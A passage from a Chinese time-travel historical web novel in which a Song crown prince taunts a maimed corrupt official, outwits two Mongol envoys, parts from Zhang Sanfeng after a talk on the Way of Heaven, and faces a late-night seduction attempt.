也不知宋宇这脑袋怎么造的,竟然开出了这种罪名。
只见宋宇一席话说完,随即吐了口唾沫,也不再理会这花魁夫人,而是转过头,看着床上哼哼唧唧的史嵩之说道“:看看,史大人,你说你也是瞎了眼,娶了那么多婆娘?尤其是这个,天生丽质难自弃,一朝花魁万人知!可就是这么一个十万贯豪资娶来的婆娘,在你人生最低谷,躺在床上难以行动的时候,竟然不愿意给你清理屎尿,啧啧,下辈子啊,你可得看准了,光是长得漂亮不行,还得是真的喜欢你的才行,哪怕她丑了些,俗了些。你说本太子说的是不是这个理?“
躺在床上的史嵩之,无力地看了一眼宋宇,突然猛呛一下,口鼻不自觉的涌出血来,就这样,口鼻流血的对着宋宇,伸出舌头,用舌尖指了指那花魁夫人,喘着气央求道“:殿下,求!求你,快让我!快让我舔一下花魁的大白腿。”
得,看来自己是白说了。这货显然是这些日子来只能看不能摸,被憋坏了。当着这么多人,竟然提出这么不害臊的要求。
见他执迷不悟,宋宇玩味的调笑史嵩之道“;哦弥陀佛!史大人,舔一下,能解了你的饥渴?舔完了,是不是还要亲一下啊?亲完了,是不是还要滚床单一下啊?“
说到这,宋宇看了看史嵩之那没了四肢的身体,继续说道”:你说说你,史大人,都这个样子了,你咋还看不开呢?你的欲望,有头没有?你知不知道,你们兄弟俩在大宋玩的很开心,但是你们这种开心,是建立在大宋亿万百姓的痛苦之上的!“
话到此处,宋宇情绪有些失控,最后几个字,几乎是喊出来的。
史嵩之被宋宇这么一吼,哆嗦了一下,脑子猛然清醒了些,看了看宋宇那青黑的脸色,却是冷静的说道“:姓赵得,你懂个屁。这就叫人性,人性又在左右官场。官场之上,不拿利益相左,你能往上爬?你别说我哥哥现在如此做,就是在过踏马得一百年,一千年,改朝改制度无数次,这踏马的官场,也会一尘不变。“
“:嘶...”宋宇听了这史嵩之之言,倒吸一口凉气,心想:这货说的,还真有几分道理啊!
而且照他这么说,其实他们兄弟两个,是顺应人性而行,就算他们兄弟两个不贪,那别人也会顶替他俩,继续贪。
这,就是更古不变的道理?感情,是自己逆人性而动?非要破坏这世间得规则了?
想到这,宋宇长叹口气,罢了,既然是我逆人性而动了,那本太子就逆到底吧!毕竟本太子是真的帮到了好些人啊!
如此想着,宋宇目光越发坚毅,反问史嵩之道“:照你这么说,这天下,就没有清白之身了?”
史嵩之不屑的冷笑道“:姓赵的,你太小看金钱与权利的吸引力了。它能让贞洁烈妇为之变节,能让英雄豪杰为其折腰,甚至能让江海倒流!凭你那一根筋,能够将整个大宋,二百余年来养成的官场之风,清洗一新?别逗了!你要真的这么想,那还不如直接告诉我,你是想杀尽这天下所有官员才是真的!”
宋宇见这史嵩之,越说越不把自己当回事了,一时也来了脾气,呵斥道“:好好好,你自己生在了粪壳子里,便以为这天下,人人都是臭的?告诉你,你踏马的想错了!我身边一群兄弟,无不洁身自好,奉行君子之道。就你们这些井底之蛙,也敢谈论天鹅的白羽?”
言罢,宋宇气愤的一指身后余阶等人,唾沫横飞得吼道“:看到没?这几人,都是本太子过命的兄弟,都是想法简单,能够合理控制欲望的当代人杰,正是因为你和你兄弟这对趴在粪坑里的白蛆胡作非为,才使得他们这样的人不得重用,只能空怀大志,老死家中。现在,本太子就是要带领他们这群你们眼中不可能也不应该存在的人,将你们这些白蛆,全都踩扁,去开创一个岳元帅所说的,文官不爱钱,武将不惜死的天下。到时要让这天下的所有百姓,都知道这世上还有愿意为了天下而看不上黄白之物的人。彻底打破你所说的,英雄也要
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折腰的谬论。”
“:哈哈哈啊.....笑死我了,有人生来便是肉食者,你偏偏要让处在肉食者位置上的人,去吃素。哈哈哈哈......好,姓赵的,牛皮吹的够大,史某且要睁眼看着,你是怎么被我哥哥史弥远,以及这天下的士大夫,千刀万剐,口诛笔伐,最后挫骨扬灰的,啊哈哈哈....哈哈哈!”史嵩之听完宋宇一席话,狂笑大吼,几近癫狂。
宋宇鄙视的最后看了一眼史嵩之,随即恢复了往日的平静模样,转过头对着余阶说道“;余老幺,这货口鼻流血,莫不是要**?去将严大夫请来,给他弄几副药,本殿下就是要让他活受罪,他享了多少年的福,就得活着受多少年的罪。”
余阶听了宋宇吩咐,笑着回道“:殿下,我看这厮没啥大病,能吃能睡,壮实着呢。至于口鼻流血,严郎中早说了,看女人屁股看多了,憋的!去去火就没事了。”
宋宇听这余阶所说,揉了揉紧皱的眉头“:看来这货还真是享福啊。每天啥都不干,有得吃有得睡,还有的看!啧啧!你说我是不是用错方法整他了?”
“:像这种玩应,**也没人心疼,殿下您随便折腾,别把他当人,直作畜生便可。”
余阶白了一眼躺在炕上直哼哼得史嵩之,劝解宋宇道。
宋宇听了余阶之言,知道自己这么干,很对他余阶的脾气,历史上,余阶就是因为抓了几个四川土豪,才稀里糊涂的被罢了官,一气之下,呕血而死。
所以对这贪官污吏,土豪强绅,余阶有种纯天然的,发自骨子里的痛恨。其实贪官这玩应,除了利益相交之辈,只怕没一个人不恨他们的。
不信可以随便去大街上喊我是贪官,我喜欢祸害老百姓,连喊数遍,肯定被人打得他娘都不敢认他。
当然了,这东西也看时代,万一哪个时代,这人明着说自己是贪官,非但没被打,还一群人巴结,那样的时代也是够荒唐的。
就在宋宇思考贪官的时候,身后那俩成吉思汗的孙子,拔都和贵由,却说起了悄悄话。
只见这贵由怯懦的拽了拽拔都衣袖,小声问道“:啊哈,这太子让咱们看到这史嵩之的惨样子,莫不是有心要杀了我二人?”
拔都相比贵由,却是冷静了许多,只见他拍了拍贵由拽着自己的胳膊,安抚道“:别怕,咱们又没得罪他,也没得罪他大宋,他为何要杀我二人?况且,杀了我二人,一点好处没有不说,还会给他大宋,再增添一个可怕的对手。这样愚蠢的买卖,想必此人是做不出来的。”
前边的宋宇,虽然听到了后边俩人的嘀咕声,但也没听清说什么,索性转过头,笑着问道“:光顾着家事,忘了向两位草原上的朋友介绍了。”语毕,将拔都两人让到了史嵩之床沿前,指着史嵩之说道“:这位,便是我大宋朝的相爷,兼枢密使,的异母弟弟。史嵩之史大人。”
第一百一十回 蒙古的算盘 宋宇的盘算
史嵩之听了宋宇介绍自己,抬眼看了看这俩蒙古少年,脸色立马变得很难看,眼珠子滴溜溜直打转,似是在做什么暗号。
拔都贵由两人见这史嵩之眼珠直转,立马明白了,感情这太子,还不知道自己两人此来的目的。
那就好办了,直接装傻充愣,逃出了这里,到时在暗中派人,去告知史弥远来营救这史嵩之,想必会是大功一件。
想那史弥远欠了我蒙古一个天大的人情,肯定不再漫天要价,会十分爽快的答应联蒙灭金的计划。
那,自己两人此来的目的,轻松就能实现了。
想到此,拔都对着宋宇说道“;大宋太子殿下,其实我二人此来,就是奉了成吉思汗的命令,来看望史大人而已,既然史大人一切安好,我二人也已经见过了史大人,那,便不再叨扰了,这就赶回驿馆,收拾行装,北上回草原去。“
宋宇听了这俩人的话语,看**一样的看着他俩“:这,你们觉得本太子,傻么?“
“:大宋太子英明神武,气势不凡,我二人哪敢有此意?“拔都贵由一听宋宇之言,赶忙赞美道。
宋宇白了他俩一眼“:既然我不傻,那为什么你俩前言不搭后语?记得刚见你俩之时,你俩曾言,是奉了成吉思汗的命令,来此结交大宋,还说到了淮河,被宋军阻隔,禁止入境,是史嵩之派人将你俩接到了这里,既然如此,本太子想知道,这史嵩之接你俩过来,到底想干嘛?“
拔都此时心里这个恨哪,倒不是恨宋宇,而是恨贵由这个笨蛋,嘴上没**,办事不牢,现在前言不搭后语,被人轻易拆穿了。这可倒好,现在连个借口,都找不到了。
一旁的贵由,见拔都恶狠狠的瞪着自己,心里发怵,低下头不敢看拔都。
拔都见此,知道不是责怪他的时候,在心里默想了片刻,才抬起头,对着宋宇说道“:大宋太子,这件事,其实很简单,早在一年多以前,史嵩之大人便明言,若我蒙古,出些金银财帛,他会请求他家哥哥史弥远,史丞相,为我蒙古办一件事。而我兄弟两个,是特地来给史大人送钱的。“
“;哦?这倒蛮奇怪的?本太子十分好奇,想你蒙古,一己之力,将西夏金国,打得哭爹喊娘,威风不可一世,却为何花钱求我大宋宰相办事?这所办的,又是何事?“宋宇继续问道。
拔都也不隐瞒,知道自己两人,如果不说清楚这件事,今天是别想走出这个门了。
而且这大宋的太子,既然能让自己两人看到面前这一幕,必定是有什么居心,或者说是知道了自己两人的底细,只是自己还傻不愣登的装蒜罢了。
如此想着,拔都继续开口道“:其实,成吉思汗一直想要结交你大宋国,认为大宋国,是我蒙古人天然的朋友,我们两国也都对大金国有着切齿之恨。只要两国结交成功,他大金国被我两国夹在中间,早晚是个死。故而,我们才携带金银,前来结交大宋和大宋史丞相。“
听了拔都所言,宋宇暗自骂道:真当我是**了?说白了,你蒙古主力,现在全都去打花剌子模了。为了防止金国反扑,成吉思汗才花钱买通了史弥远,让他继续维持宋金两国之间的战争。
只有这样,蒙古才能集中全力,灭了金国在西边,最有力,最强大的盟友,花剌子模。
从而彻底孤立金国,为最后灭掉金国,打好基础。
其实在宋宇心里,成吉思汗和他身边的那群人,比自己还像是穿越而来的屌丝,那群**字不识一个,却都是天生的领导者。
无论是搞外交,搞战争,那叫一个轻车熟路,很少出现错误,就像是事先知道结果似的。
就比如说,灭这金国之前,便是先孤立他,让他和周边各国关系恶化,等到金国成了过街的老鼠,人人喊打之时,这成吉思汗便来了招南北夹击,与宋国合力灭掉了金国。
而到了灭宋之时,成吉思汗得孙子忽必烈,也是玩的这招,而且是这招的加强版。西边联合吐蕃,西南灭了大理,对大宋来了个半包围。使得宋国三面受敌,军队疲于应付,也正是在这种情况下,锻炼出了孟珙,这位机动防御大师。也就是说,孟珙,是被蒙古人得三面包围策略,硬生生操练出来的。
历史的教训,让宋宇明白,这个时代,和谁结盟,也不能和蒙古结盟,如果自己和蒙古结盟,合力灭金,那就像是一只鹿和一一头狼结盟,去合力抓一只兔子一般。早晚自己这俩弱的,都会成为蒙古这个强者的口中食。
想通不能结盟这点,宋宇又犹豫了,那就是怎么打发这俩熊孩子,现在史嵩之已经败露,他俩若是被我放了,万一转头去告诉了史弥远,那史弥远十有**会暴怒下打着皇帝的名义起兵讨伐自己。
如果不放他俩,又不能杀,铁木真可是最恨人杀他的使者,花剌子模就是前车之鉴。
放不得,又杀不得。要拿什么理由留下来呢?诶!对了,宋宇突然灵机一动“;两位,现在史嵩之已经废了,你们这条线,也算断了。这样吧,本太子愿意给你二人行个方便,带你二人回临安,亲自面见我父皇,到时,岂不是比求我大宋下边的臣子,更有把握?而且还不用二人出钱,一路上的花销,本太子包了。“
拔都和贵由见这太子,变脸翻书一样快,刚才还厉声质问,步步紧逼,现在却又阳光明媚,满脸灿笑了。
一时也摸不准这太子葫芦里卖的究竟是什么药了。不过看样子太子对自己俩人没有杀心。
只见他俩无奈的互相看了一眼,小声用蒙古语商量两句,才转过脸,对着宋宇答道“;既然如此,我二人岂敢违逆大宋太子美意?在此,多谢大宋太子,为我二人行了方便。”
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>语毕,两人对着宋宇,行了个蒙古低头弯腰礼。
宋宇看这俩人被自己稳住,心里嘿嘿冷笑:结盟?我要是嫌命长了,才会和你等结盟。
留下你们,不过是因为现在不能放走你俩罢了。再者,本太子还有件事,要让你二人帮忙才能实现。
如此想着,宋宇大声吩咐众人“;行了,该看的看了,不该看的也看了,为了给两位草原上的客人接风洗尘,本太子今日大出血,在外边备了酒宴,大家可劲吃可劲喝便是。“
一席话说完,身后众人皆是开心不已,宋宇这才领着众人,出了后院,向着宴厅走去。
今日的饮宴,宋宇没有喝太多。宴会结束以后,便和余阶,坐在卧房内聊天,在将枣阳之战,详细讲给余阶后,宋宇才小心谨慎地问道“:余老幺,咱们动静如此大,史弥远肯定会有所察觉,再留在这襄阳,只会夜长梦多。我看这几日,咱们将襄阳政务,交托给孟老将军后,就启程回临安吧。”
余阶并未急着回答宋宇,反倒是先反问起了宋宇“:殿下,如今您在荆襄颇有人望,留在这里倒也不失为一方诸侯。就算史弥远想动您,那也得打得过。相比于回临安,是否...”
宋宇未等余阶一席话讲完,直接喝止“:住口,你想让我将大宋和大宋百姓,带入互相厮杀的深渊吗?”
余阶听了宋宇呵斥,并未被吓到,反倒是意味深长地笑了起来“:我果真没有看错太子殿下,您和当年的岳元帅,真是出奇的像,岳元帅也是为了避免天下百姓陷入内战的深渊,才决定班师回朝,束手就擒,舍小我而成就大义。”
宋宇这才明白,原来余阶是在试探自己的内心真实想法,面上立马浮现出嗔怪之意“:余老幺,都火烧眉毛了,还有心玩这些个有的没的,再者,岳元帅一生英雄,那是我敢比肩的?”
“:殿下能将天下百姓的生死安乐,放在自己之前,就已经称得上英雄二字了。“
顿了顿,余阶这才继续说道“:小弟也认为我等当兵行险着,回临安。而且,听完殿下这场枣阳之战的经过,小弟无不佩服,殿下竟能在如此短的时间内,解了枣阳之围。不但短时间内击败了金人,竟然还和金人停战。更让小弟诧异的是,您还和这大金国准皇位继承人,三阿哥完颜守绪,结为了异族兄弟!恕小弟直言,殿下,您做事,真个天马行空。”
“:啊?你是否觉得,本殿下和他完颜守绪结义,殊为不妥?”宋宇以为余阶十分在意这个,反问道。
余阶却笑着摇摇头“:殿下,您的心意,小弟明白。你是觉得,以咱大宋现在的状况,来和金国打这场战争,只会是空耗国力,打再久,也分不出个胜负。最终落得个两败俱伤的下场。所以您才想先将史弥远等人除去,整军经武,在北上收复失地,是也不是?”
第一百一十一回 孟女侠说媒 张三丰辞行
“:什么都瞒不住你,不过,你只说对了一半。其实,我之所以执意要停战,还因为在北方草原,蒙古人已经羽翼丰满,开始了对外猛攻之路。若是咱大宋在这么糊涂得和金国杀下去,只是鹬蚌相争,渔翁得利罢了。”宋宇面色平静,对余阶解释道。
余阶见宋宇一直很在意蒙古人,虽然觉得宋宇有些太过杞人忧天了,但也并非是不信,毕竟,当年的辽国,就是被不起眼的女**,生生夺了天下。
现今蒙古人出现,金蒙之间,怕是会历史重演,也说不定。如此想着,只听余阶继续说道“:殿下,小弟赞成您的想法,虽然小弟十分恨金人,但殿下想的也对,与其打不赢,这么干耗下去,不如养精蓄锐,以求来日一战。”
宋宇见余阶跟着自己的思路完全没有要反驳的意思,心里暗道:余阶这位历史上的主战派,接受了自己停战的想法,也真是小刀拉屁股,开了眼了。
要知道,余阶作为这个时代典型的愤青型爱国青年,能做出这个决定,并非是信口胡诌,而是下了很大决心。
“:余老幺,你能这么说,我很是高兴,不过,关于临安,我打算改一改计划,毕竟,这次回去,还要请求父皇全面停战,嗨!说实话,同样是皇位继承人,人家完颜守绪轻松就搞定了他父皇,再看看我,到现在,心里都没底啊。真是人比人得死,货比货得扔啊。更何况,史弥远已经和蒙古有所勾结,想必是下了死心,要让宋金继续厮杀。虽然现在咱们手里有了两个蒙古人作证,又在襄阳搜集了大量史弥远的秘密,可满朝廷,都是他史弥远的心腹,到时他史弥远狗急了跳墙,咱们没兵权在手,岂不坐以待毙?步了当年岳元帅的后尘?”
余阶听了宋宇所言,劝慰道“:殿下,兵来将挡,水来土掩。目下有皇上给咱们撑腰,回到朝堂,史弥远就算是想杀咱们,也不敢明着动用兵马。至于咱们手里这些东西,在史弥远心里有多重要,那就得回到临安以后,才能知晓了。”
那边,余阶宋宇促膝长谈,商量着回临安的安排,另一边,史府大门口,两个守门的兵丁,对着正要出门的一个女子说道“:杨姑娘,这么晚了,您还要出门?“
原来出门的是杨妙珍,由于宋宇撤换了所有忠义军兵丁,所以这门口的士兵,见了杨妙珍,并未喊四娘子,而是唤作了杨姑娘。
而此时,杨妙珍听了这俩守门兵丁询问,暗自攥了攥拳头,强压了压紧张,说道“:啊。本姑娘奉了太子令,要出去办点事。“
这俩守门的兵丁,显然对杨妙珍很是熟识,见她奉了太子命令,也没起疑,笑着对杨妙珍做了个请的手势。
杨妙珍见这俩兵丁没有为难自己的意思,对着他俩同样笑着点了点头,快步向着街上走去。
也不知转过了几条街市,这杨妙珍才来到了一条漆黑的小胡同内,对着胡同,学了两声猫叫,就听胡同深处,几声狗叫传来。杨妙珍听了这几声狗叫,面露喜色,继续向胡同内走了过去。
可杨妙珍却不知道,此时已经有人盯上他了。就在她出府的那一刻,宋宇那位结拜妹子,王仙姑王焕君,一早便发现了杨妙珍,并且一路悄悄的跟了过来。
要说宋宇这些兄弟,个个都不是省油的灯。就拿这王焕君来说,做贼时,她就天天晚上到处趴房檐。可以说,这襄阳丢只猫,丢条狗,哪个姑娘洞房啦,哪个寡妇是非啦。问这王仙姑,准没错!
即使是现在从良了,跟了宋宇这个有钱得太子哥哥,这姑娘也没闲着,一到晚上就犯职业病,到处偷看是非去。
今天晚上也赶巧,正要出门看稀罕去,就看见杨妙珍慌慌张张,奔着门外走去。
凭着做贼时练就的那根敏感神经,王焕君知道,这杨妙珍,指定有什么小秘密。为了一探究竟,满足自己的好奇心,王焕君便一路偷偷跟在杨妙珍后面,来到了这条漆黑胡同前。
矫健的跳过一堵矮墙,跳进了胡同内测,随即继续悄悄的跟着杨妙真向里走去。
就在王焕君刚走到能听清楚杨妙珍话语声时,却突然有一只手,搭在了右肩上,这一刻,王焕君是真的吓坏了,要知道,凭着自己的轻功,可是轻易便擒了盛章。此时能胜过自己轻功,溜到自己身后还不被自己察觉的,得是什么样恐怖的存在?
正在王焕君犹豫自己要不要回头看看时,却听身后之人嘘了一声,随即轻声说道“:姑娘莫怕,贫道张三丰。“
王焕君长舒一口气,心道原来是张三丰。看来想要在宋宇身边,搞些小动作,实在不是件容易的事。这张三丰也是鸡贼的很。
想到这,王焕君回过头去,看着张三丰,挤了挤眼,示意张三丰和自己一起凑到前边去听。
张三丰会意的点了点头,随着王焕君,一齐往前又走了几步。而从墙的另一边,传来得说话声,渐渐清晰起来。
就这样,俩人静静的听完了杨妙真等人的密谈,愣是没惊动他们。直到胡同内传来了渐行渐远得脚步声,张三丰才一脸凝重的对着王焕君说道“:丫头,你说这件事,要不要告诉太子?”
王焕君一听这个,脸色有些微红,低着头说道“:万一太子兄长喜欢这个,咱们岂不是好心办了坏事?”
张三丰听了这丫头话语,皱眉深思了片刻,这才继续说道“:既然知道了,还是提醒一下为好,毕竟,这件事可大可小。”言罢,对着王焕君拱了拱手,轻声快步,走捷径向宋宇而去。
宋宇卧房,此时余阶已经离去,宋宇正端着一碗茶,听面前一位姑娘,口若悬河得讲述。
这位姑娘,便是孟英,而余阶之所以走的这么早,也是被孟英这丫头赶走的。
只见孟英神采飞扬得说道“:乖乖,原来谢姐姐,是出身
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名门的大家闺秀。而那小小姑娘,是史弥远特意安排在殿下身边的卧底,不过现在已经随了太子。这两位姑娘,还都救过殿下您的命。殿下,您跟我说实话,这两位,您到底喜欢哪个?本姑娘,去给您保个媒。”
宋宇一边听这丫头没完没了的墨迹,一边没精打采的喝着茶“:孟女侠,你觉得,像本殿下这样的身份,能缺媳妇吗?本殿下求求你,莫要多管闲事了,万一,万一本殿下英年早逝,岂不是害了人家姑娘做寡妇?”
孟英一听太子这话,心里顿时明白了,原来殿下一直谨小慎微,不沾女色,是因为自己现在与史弥远斗法,身处险境,朝不保夕之故啊。
想明白了前因后果,孟英越加想要捉弄太子,只见孟英眼睛一转,调皮的说道“:殿下,您知不知道,这两位姑娘,哪个喜欢您?”
“噗......”一直安静饮茶的宋宇,彻底让孟英吓到了,一口茶直接喷了出来,怒眉喝道“:孟女侠,切莫乱说,坏了两位姑娘,尤其是谢姑娘的名节。到时传的漫天疯言疯语,让她还怎么嫁人?”宋宇彻底被这丫头打败了,嘴太碎了,什么都要刨根问底。
连日来的相处,让孟英是真的一点都不怕这太子生气,只见她小嘴一嘟“;殿下,没见过您这样的,沙场之上,威风凛凛,可见了女儿家,却是脸红皮薄,直直像个傻子,要是一直这样,您这太子,估计要做一辈子光棍喽。”言罢,孟英一脸傲娇的转过身,连蹦带跳的走出了宋宇卧室。
宋宇被这丫头最后一番话,说的愣在当场,半晌才自言自语道:这丫头,说的好像有几分道理,我好像是不太会和女人打交道,不过老询问我中意哪个姑娘作甚?现在这个情况,喜欢有个屁用?史弥远会让我安安稳稳的去花前月下?
正自想着,就听门外脚步声起,宋宇抬头看去,见是张三丰,一脸笑意的走了进来,赶忙起身迎了上去“:**,不知您深夜到此,有何贵干?”
边说着,边将张三丰让到了座位上。
只见张三丰坐定后,手抚山羊胡,笑着说道“:殿下,本来今晚有一件事要说,不过,方才来的路上,又撞上一件怪事,思谋良久,觉得还是事先告诉殿下一声为妙,这才揣着两件事,前来叨扰。”说到这,张三丰将半路撞上杨妙珍之事,详细说给了宋宇。
宋宇听了张三丰之言,惊呼道“:乖乖,这李全,莫不是有病?”
张三丰见太子反应很强烈,知道宋宇心中已经有了想法,但他并不想多问,转而对着宋宇说道“:殿下,这件事,虽然是您的私事,不过也关系到我大宋日后得运势,所以贫道才斗胆,来此提醒殿下。至于另一件事,贫道是特地来跟殿下您辞行的。”
“:啊?**,你不陪本殿下,回临安看您的华岳徒儿了?”宋宇见张三丰要辞行,赶忙出言询问道。
第一百一十二回 浅谈天道观 杨妙珍夜访
张三丰抚须爽朗一笑“:殿下,说句不该说的话,贫道之所以来此,就是想见一见我大宋太子,是否真如华岳徒儿信中所言,是个名君圣主之相?经过这几日的相处,贫道确信,殿下定会做出一番惊天动地之事,一扫汉人五百余年来的颓势。”
宋宇听了,赶忙说道“:你高看我了,想我要文采没文采,要权术没权术,要钱没钱,要兵没兵,**,你实在过誉了,本殿下归根到底,就是个落水不会游泳,拼命挣扎想要自救的落水狗罢了。”
张三丰见太子如此轻看自己,眼神中似有疑虑闪过,暗道:太子正值青春年华,血气方刚之时,更兼枣阳大胜,理应是傲视群雄,睥睨天下得样子,为何我从他眼中,只看到了哀愁,甚至带着一丝不易察觉得绝望?这还真是有点不正常。莫非太子年幼时有过什么使他深受打击得事情发生?这才造成他如此性格?
张三丰想到这里,并未出言询问宋宇得过往,只见他依旧笑盈盈得继续说道“:殿下,切莫太在意那些表面之物,贫道之所以说殿下您会让我汉人扬眉吐气,并不是因为这些,而是因为贫道亲身感觉到,殿下与史弥远之流有着本质的不同,史弥远之流财货迷心,美色乱欲,早已没了人样。相比于那些个表面之物,贫道知道,殿下更在意内心之物。那东西说来虚无缥缈,却又让我们与山中走兽有了区别。也正是这心中之物,才让我们汉人,更趋近于天道。”
“:天道?”
“:殿下可曾听闻天人感应?”
“:听倒听说过,不过我一直以为这不过是董仲舒为了增加君权神授,杜撰出来的,子虚乌有的事罢了。”
张三丰听宋宇如此认识天道,并未生气,一脸凝重地说道“:我与殿下几次畅谈,知道殿下也曾熟读历史,殿下就没发现,历史中的规律?”
“:规律?”
“:不错,天道与这规律有着千丝万缕的联系。就像水为什么会流动?山为什么高耸?王朝为什么兴灭?人又为什么有生有死。这都是在遵循天道所制订的规律在运行。”
宋宇越听越入迷,开口问道“:那和**你所说的,天人感应,又有什么关系?”
“:如果说肉眼可见之物为有形之物,那肉眼不可见的天道,即位无形之物。有形之物寡,无形之物繁。又因有形之物与无形之物相互联系,故而身为有形之物的人,能通过自己的内在灵魂世界,与天道产生共鸣。”
宋宇一脸不可置信的吸了吸鼻子“:**,你说的可有依据?太玄乎了吧?”
“:依据?沛县刘邦,谋圣张良,玄乎其玄的人生,便是最好的依据。尤其是那张良所得素书,殿下若有幸看过,定然会初窥天道门坎。”
“:**读过素书?”
“:素书早已失传,贫道也是从张良谋定天下后,不选择荣华富贵,却甘愿隐居而得出,这素书八成是在讲,和欲望有关的内容。”
“:还请道长讲一讲您对欲望的看法。”
“:人之七情六欲,本就随着年龄的增长,在不断增大。却因所处环境不同,表现出不同的状态。如史弥远,当年砸**韩侂胄,就是其内心的欲望在催动他如此做。而韩侂胄北伐,也不外乎欲望二字。正所谓欲动心动,心动行动,人为欲之主,末做欲之奴。这些人控制不住自己的欲望,胡作非为,贫道称之为欲崩之境,早已与天道无缘。每每他们这样的人身居高位,往往**人怨,祸乱不止。相反的,贫道这些日子以来,观殿下举动,无处不是正气凛然,欲望收放自如。能做到见色不乱心,见财不贪心,见权不熏心。却见大义而敢为,见贫弱而怜悯,见忠正而褒奖,见豪强而蔑视。这些,都十分贴合天道,想必殿下已经能达到天人感应的地步。而我汉人每有殿下这样的人中龙凤出现,稳居高位,必将顺风顺水,一扫颓败之势,从而盛极一时。可若是殿下这样的人,不能为天下所用,甚至是不能为天下所容,那就糟糕喽...轻则改朝换代,重则推倒重来。”
这一席长篇大论讲完,张三丰笑着端起茶碗开始饮茶。
宋宇却陷入了沉思,天道?天人感应?我贴合天道?
想着想着,宋宇忽然有一股冲动,想要留下这张三丰在身边,为自己效力。
带着这个想法,宋宇一脸期望的劝张三丰道“:**,既然你这么瞧得起我赵竑,何不留在我身边,做一番大事业?到时留名青史,岂不比空怀壮志本领,老死山林来得好?”
张三丰不置可否地嗤笑一声“:殿下,贫道若是二十年前听到这番话,定然会携剑随君去。但现在来看,却是不能了。一则,贫道乃是化外之人,潜心道法剑术,功名利禄于我,已然没那般重要了。二则,贫道一游方道人,喜好山林清泉之间,留在殿下身边,莫如野鸟入笼,再没了自由。”
宋宇见张三丰推辞,还要再劝,却见张三丰一拂衣袖,继续说道“:殿下莫要再劝了,贫道心意已决。只不过,在临别前,还请殿下静听贫道一言。“
说到此,张三丰长叹一口气”:唉,殿下,你可知,为何我大宋朝会有无数像贫道这样,空怀本领,却只能隐居山林,开宗立派之人?“
宋宇摇摇头“:这,我倒不曾细想过。”
张三丰见宋宇不知,一脸愁容继续说道“:这呀,说来也很简单,其实就是咱大宋朝,没有给武人,留着那么一席之地。再加上官场昏暗,官位多为世家豪绅所独揽,以致无数没有生在那好人家的豪杰或迫于无奈,或遭人排挤,心灰意冷之下,无奈隐于山林,穷困潦倒终生。”
“:**所言,我定然谨记于心。”宋宇听了张三丰之言,知道他要替这天下的草莽英雄鸣冤,希望自己能争气,到时得了江山,给这些草莽英雄一条出路。
张三丰见宋宇一点就通,很是欣慰,起手告辞道“:多谢殿下肯听我这山林野道粗陋之言,天色已晚,殿下今晚还有更要紧的事,贫道就不再叨扰了。明日清早,贫道和徒儿田奇,便会离去,
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殿下也莫要刻意相送。“言罢,张三丰再次告了辞,缓步离去。
宋宇看着张三丰的背影,陷入了沉思:这张三丰,年不过四十有余,却不愿跟随于我,反倒是要老死山林。
要知道,虽然本太子朝不保夕,但这太子的身份却是金光闪耀。谁个不想跟随在自己身边,或是得些金银,或是干出一番事业?
但这张三丰,却拒绝了面前的金银权势,选择了寂寞。这,让宋宇大感自愧不如,很是不理解。
宋宇甚至胡思乱想,如果把张三丰放到后世,只怕是个人都会骂他是**。毕竟自己就因为没钱,虽然很努力工作,仍是被人骂作穷狗。
就在宋宇一手托腮,趴在桌上愣神,却听敲门声传来“:殿下,睡了没?“
宋宇一听这个声音,浑身打了个激灵:得,杨妙珍来了,看来,这姑娘是打定主意要做出那事了。嗨,这又是何苦?
如此想着,宋宇站起身走到了门口,轻轻打开了房门,将杨妙真迎到了屋内。
借着昏暗的烛光,只见杨妙珍今夜打扮得,颇为火辣。一头乌黑的秀发,并未扎起来,而是蓬松的背在身后,身上则穿了一件淡粉色花裙,这花裙巧就巧在,将杨妙珍那玲珑的曲线,完美的展现在了宋宇眼前,让宋宇看了,直接热血翻腾,只见宋宇满脸通红的说道“:杨姑娘,这么晚了,你有何事?”
杨妙珍见宋宇问自己干嘛,立马低下了头,声音小的像蚊子叫一般说道“;殿下,你,你觉得妙珍如何?”
宋宇因为方才张三丰告诉了自己,这杨妙珍到底来干嘛。所以现在虽然看杨妙珍看的有些心猿意马,却是没有糊涂。
只见宋宇满脸臊红,却强自装作平静的坐到椅子上,喝了一口茶说道“:杨姑娘请坐。”
待杨妙珍低头坐好了,宋宇才继续开口道“:不知道,杨姑娘说的是哪样?”
一句话,把杨妙珍问了个没脾气:哪样?这太子,怎得如此不解风情?我一妙龄少女,三更半夜,穿的如此风情万种而来,难道是谈国家大事的?
杨妙珍想到此,明显有些气宋宇没品位,不会欣赏。抬起头撅着嘴赤裸裸的问道“:殿下,您觉得妙珍哪里好?”
宋宇见杨妙珍有些气了,笑着说道“:杨姑娘巾帼英雄,武艺了得,更兼明事理,知荣辱。我看那,就是这天下男儿,也没几个赛的过杨姑娘你得。”
“:没别的了?”杨妙珍见宋宇说到这止住了,眨着灵动的大眼睛,不解的问道。
宋宇见杨妙珍这迷人的模样,是真的看醉了。以前啊,这宋宇只知道喝酒能把人喝醉,没曾想,原来美色也能醉人。
但醉归醉,宋宇并没糊涂,继续装傻充愣道“:没了。难道,我少说了?”
杨妙珍白了宋宇一眼,也不说话,反倒是静静的站起身,走到了宋宇床前,轻轻地,卸去了身上所披的那件粉裙。露出了内里穿的红布兜兜。然后低头娇羞的转过身,将那玲珑剔透的完美身材,展露在了宋宇面前。
第一百一十三回 在使美人计 生米变熟饭
宋宇在昏黄烛光的印照下,看到杨妙珍浑身闪着迷人的光芒。再加上杨妙珍那勾魂的眼神,乖乖,真个如梦似幻。
就在杨妙珍妩媚得伸手就要将红布兜兜卸下,却听宋宇一拍大腿,猛然站起惊呼道“;麻蛋,我就说嘛,布兜兜早就普及了。当初小小那丫头,是故意没穿的!”
“:啊?殿下,这又关小小什么事了?”杨妙珍被宋宇吓了一跳,抓在肩头,要解红布兜兜的手猛然一哆嗦,暂时停在了那处。
说实话,宋宇刚才是犯癔症了,许是这些日子在史府看光屁股女人看多了,被刺激到了。又许是宋宇这脑袋被门夹过,反正不太正常。
在这么重要的场合,这货竟然研究起布兜兜到底在大宋普及没普及的问题。
现在被杨妙珍一句话把思绪拉了回来,宋宇浑身一哆嗦:是啊,我提小小干嘛?虽然第一次见那丫头时,她穿的那身衣服老带劲了,但现在这场合,杨妙珍也差不到哪去啊!
想到此,宋宇慌忙说道“:没事,杨姑娘,你继续脱,就当我不存在!”
杨妙珍听了这句话,一时哭笑不得:继续脱?还当你不存在?那我脱给鬼看呢?
这太子,怎么这么怪呢?难道皇家的娃娃,都是这尿性?
